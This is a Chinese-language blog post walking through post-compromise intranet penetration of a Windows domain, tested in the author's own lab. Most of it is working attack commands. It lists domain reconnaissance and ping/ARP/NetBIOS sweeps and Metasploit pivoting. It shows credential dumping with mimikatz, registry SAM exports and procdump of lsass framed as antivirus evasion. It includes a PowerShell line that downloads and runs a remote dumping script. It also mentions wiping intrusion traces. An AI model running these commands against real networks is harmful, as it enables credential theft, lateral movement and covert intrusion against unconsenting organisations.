1.防火牆穿透
2.木馬免殺穿透
3.內網信息收集及目標定位
4.關於文件下載
而內網滲透也分為 域滲透 與 工作組滲透
域滲透:
1.域信息收集
2.獲取域權限
3.dump域hash
4.內網權限維持
工作組滲透:
1.常規內網滲透
2.各種欺騙攻擊
如果非要說內網滲透的思路:
1.內網環境下先查看網絡架構。例如 網段信息 域控 DNS服務器 時間服務器
2.收集到了足夠多的信息可以掃一下開放端口 21 22 80 8080 443等確定敏感信息,以及之后滲透的方向
3.通過以上信息進行一定的弱口令嘗試,針對特定的軟件做banner采集利用,snmp測試讀取和寫入權限
4.進行一些提權操作,從橫向和縱向對目標服務器進行滲透。
5.進行敏感信息挖掘,內網密碼收集嗅探,同時擦出入侵足跡。
內網滲透在我感覺一種是拿下內網一台主機權限,外網端口轉發或者協議代理進內網,或者通過vpn連接進入內網,另一種是通過物理方法連入內網,比如通過網線,wifi熱點進入內網等。不過最終的目的一樣,只是連接過程不同,第一種比第二種要多一個”橋梁“。
如何拿下一個網站權限,這里不再多說,各有各的運氣,各有各的技術。
具體的端口轉發與協議代理可以看我上一篇文章:https://www.cnblogs.com/bmjoker/p/10264148.html
這里主要學習得到一台主機權限后,如何在主機所在內網翻出更大的浪花。
-----------------------------------
博主在本地搭建了域環境:
DC:windows2008 192.168.0.108
DM:windows2003 192.168.0.107
DM:windows xp 192.168.0.105
1|01 域信息收集
1|11.內網信息探測常用命令
1|22.網絡環境的判斷
1|33.內網存活主機探測
1|44.hash與明文
---------------------------
1.內網信息探測常用命令
拿下一台內網機器,首先要定位內網機器的架構。
收集基本信息:
ipconfig /all ------ 查詢本機IP段,所在域等
net user ------ 本機用戶列表
net localgroup administrators ------ 本機管理員[通常含有域用戶]
net user /domain ------ 查詢域用戶
net group /domain ------ 查詢域里面的工作組
net group "domain admins" /domain ------ 查詢域管理員用戶組
net localgroup administrators /domain ------ 登錄本機的域管理員
net localgroup administrators workgroup\user001 /add ------域用戶添加到本機
net group "domain controllers" /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判斷主域,主域服務器都做時間服務器
net config workstation ------ 當前登錄域
net session ------ 查看當前會話
net use \\ip\ipc$ pawword /user:username ------ 建立IPC會話[空連接-***]
net share ------ 查看SMB指向的路徑[即共享]
net view ------ 查詢同一域內機器列表
net view \\ip ------ 查詢某IP共享
net view /domain ------ 查詢域列表
net view /domain:domainname ------ 查看workgroup域中計算機列表
net start ------ 查看當前運行的服務
net accounts ------ 查看本地密碼策略
net accounts /domain ------ 查看域密碼策略
nbtstat –A ip ------netbios 查詢
netstat –an/ano/anb ------ 網絡連接查詢
route print ------ 路由表tasklist /V ----- 查看進程[顯示對應用戶]
tasklist /S ip /U domain\username /P /V ----- 查看遠程計算機進程列表
qprocess * ----- 類似tasklist
qprocess /SERVER:IP ----- 遠程查看計算機進程列表
nslookup –qt-MX Yahoo.com ----- 查看郵件服務器
whoami /all ----- 查詢當前用戶權限等
set ----- 查看系統環境變量
systeminfo ----- 查看系統信息
qwinsta ----- 查看登錄情況
qwinsta /SERVER:IP ----- 查看遠程登錄情況
fsutil fsinfo drives ----- 查看所有盤符
gpupdate /force ----- 更新域策略cmdkey /l ----- 看是否保存了登陸憑證。(攻擊者會先查看管理員是否保留了登陸憑證,方便后續的憑證抓取。) echo %logonserver% ----- 查看登陸域
這里有一個特殊的用戶叫做krbtgt,該用戶是用於Kerberos身份驗證的賬戶,獲得了該用戶的hash,就可以偽造票據傳遞攻擊
2.網絡環境的判斷
1.機器所處位置區域的判斷;
2.機器在內網中角色的判斷;
3.進出口流量是否連通的判斷,是否出的去,進得來
-------------------------------------
(1) 位置的判斷
位置判斷是指機器處於網絡拓撲中的某個區域,是在DMZ區,辦公網,還是核心區,核心DB等多個位置,當然這里的區域並不是絕對的,只是大概的一個環境,不同的地方網絡環境不一樣,區域的界限也不一定明顯。
(2) 角色的判斷
機器角色的判斷指判斷已經控制的機器是普通Web服務器、開發測試服務器、公共服務器、文件服務器還是代理服務器、DNS服務器、存儲服務器等等。具體的判斷是通過對機器內的主機名、文件、網絡連接等多種情況進行綜合判斷的。
(3)連通性的判斷
出口流量是否連通的判斷指機器是否能上外網這些,要綜合判斷協議(tcp\http\dns\icmp等協議)與端口(常見能出去的端口有80,8080,443,53,110,123等)。在這里還有一種是網絡內網設置了代理服務器的情況,攻擊者通常會查看環境變量set,主機名是否有proxy字樣的機器,注冊表是否有寫明代理地址或指定pac代理文件等。
3.內網存活主機探測
icmp掃描
基於icmp的各種內網主機發現方式,如果防火牆過濾的icmp請求,這種方式基本就廢了,但是基本上都不會過濾icmp協議的請求。除了本身自帶的命令,也可以考慮使用第三方程序,比如cping。
在windows下使用icmp掃描
- cmd中執行如下命令,對整個C段進行ping掃描
cmd回顯: for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl"導出成文本: @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt)
- 利用powershell對目標內網進行icmp掃描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000" 目標網段,並非僅限C段,比如你也可以寫成這種方式`192.168.0.1 - 192.168.0.254`
windows 2003與windows xp需要安裝powershell1.0:官方下載地址
關於powershell在內網滲透中的作用,請看下一篇文章,這里不再細說。
在linux下使用各類icmp掃描
- shell中執行linux腳本進行掃描
#!/bin/bash
for ip in 192.168.0.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done
或者
for i in 192.168.0.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
- nmap的icmp掃描
nmap -sn -PE 192.168.0.1/24
如果是物理方法連接內網,可直接進行探測。如果僅有一台內網主機權限,可以作端口轉發,感覺比較靠譜的還是配置SOCKS5內網代理,使用proxychains配合nmap使用,或者使用msf中的模塊先掛內網代理,使用scanner模塊進行掃描,或者把內網已getshell的機器配置成跳板機,來借力打力。
arp掃描
在windows下使用arp掃描:
- arpscan工具掃描
start /b arpscan.exe -t 192.168.0.1/24 >> result.txt
arpscan.exe下載地址:https://www.2cto.com/soft/201001/16987.html#download
所需dll文件:https://cn.dll-files.com
- powershell調用arpscan掃描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" >> result.txt
在linux下使用arp掃描:
- nmap的arp掃描
nmap -sn -PR 192.168.0.1/24 嘗試arp掃描
- netdiscover掃描
netdiscover -r 192.168.0.1/24 -i eth0
- msf的arp掃描模塊
msf > use auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set interface eth0
msf > set smac 00:0c:29:92:fd:85
msf > set rhosts 192.168.0.1/24
msf > set threads 20
msf > set shost 192.168.0.133 (偽造源ip)
msf > run
- msf獲取一個shell
meterpreter > getsystem 另外,在目標機器上掃描時,務必先提權(個人建議,會方便很多),不然掃描過程中可能會有些問題
meterpreter > run autoroute -s 192.168.0.1/24 (添加路由)
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24meterpreter > run
基於smb和netbios的內網主機發現方式
windows下nbt掃描:
nbtscan.exe -m 192.168.0.1/24 非常經典的小工具
nbtscan.exe工具下載地址:http://www.unixwiz.net/tools/nbtscan.html#download
linux下nbt掃描:
nbtscan.exe -r 192.168.0.1/24
域內掃描
net view dsquery computer 其實,域內最好用的也就是nbtscan了
如果計算機名很多的時候,可以利用bat批量ping獲取ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
4.hash與明文
抓取hash最好的工具莫過於mimikatz,不過免殺是個問題。
從 sam 數據庫中提取目標系統本地用戶密碼 hash
- 在線讀取sam數據庫
(1) 使用mimikatz提取系統hash與明
privilege::debug
token::elevate
lsadump::samsekurlsa::logonPasswords (獲取明文用戶口令)
破解出的NTLM可以嘗試CMD5破解:
或者嘗試 ophcrack 破解:https://www.objectif-securite.ch/ophcrack.php
簡單密碼可以直接明文顯示
(2) 使用pwdump7提取系統密碼hash
下載地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip
需要管理員權限執行:
可以看到已經提取出hash
(3) 使用powershell腳本提取hash
hash腳本下載地址:https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1
管理員權限執行powershell命令
powershell -ep bypass -f Invoke-PowerDump.ps1
- 離線讀取 sam 數據庫
獲取當前系統的 sam 數據庫文件,在另一個系統下讀取
導出 sam 數據庫文件有以下兩種實現方法:
(1) 保存注冊表
管理員權限,利用 reg 將 sam,system和 security文件導出來,並保存在本地:
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY sercrity.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /sercrity:sercrity.hiv" exit
可以看到已提取出hash
參考鏈接:通過SAM數據庫獲得本地用戶hash
通過 dump lsass.exe 進程數據離線免殺抓取明文
(1) 通過procdump.exe提取出明文
procdump.exe工具下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
有時遇到殺軟,直接在目標機器上抓取密碼可能會被殺,這時可以先利用 procdump 把 lsass.exe 進程中的數據導出到指定文件中,再把導出的文件下回到本地用 mimikatz 讀取文件中的密碼hash,以實現免殺效果,不過需要注意的是,本地讀取文件的系統平台和目標的系統需要完全一致。
先在目標機器上執行:
32位機器:procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位機器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
本地使用mimikatz讀取文件中的密碼hash
mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
可以看到已經提取出系統中的hash與明文
(2) powershell調用dump腳本
# Public>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
或者本機執行
# Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"
關於windows10/2012r2 以后系統的明文密碼抓取方式
在windows10/2012r2 之后的系統版本中,默認情況下是禁用了在內存緩存中存儲系統用戶明文密碼,此時使用mimikatz去抓取密碼,會顯示null。
解決方法為:修改注冊表 ---> 抓取windows server 2012 & 2016 & win8明文密碼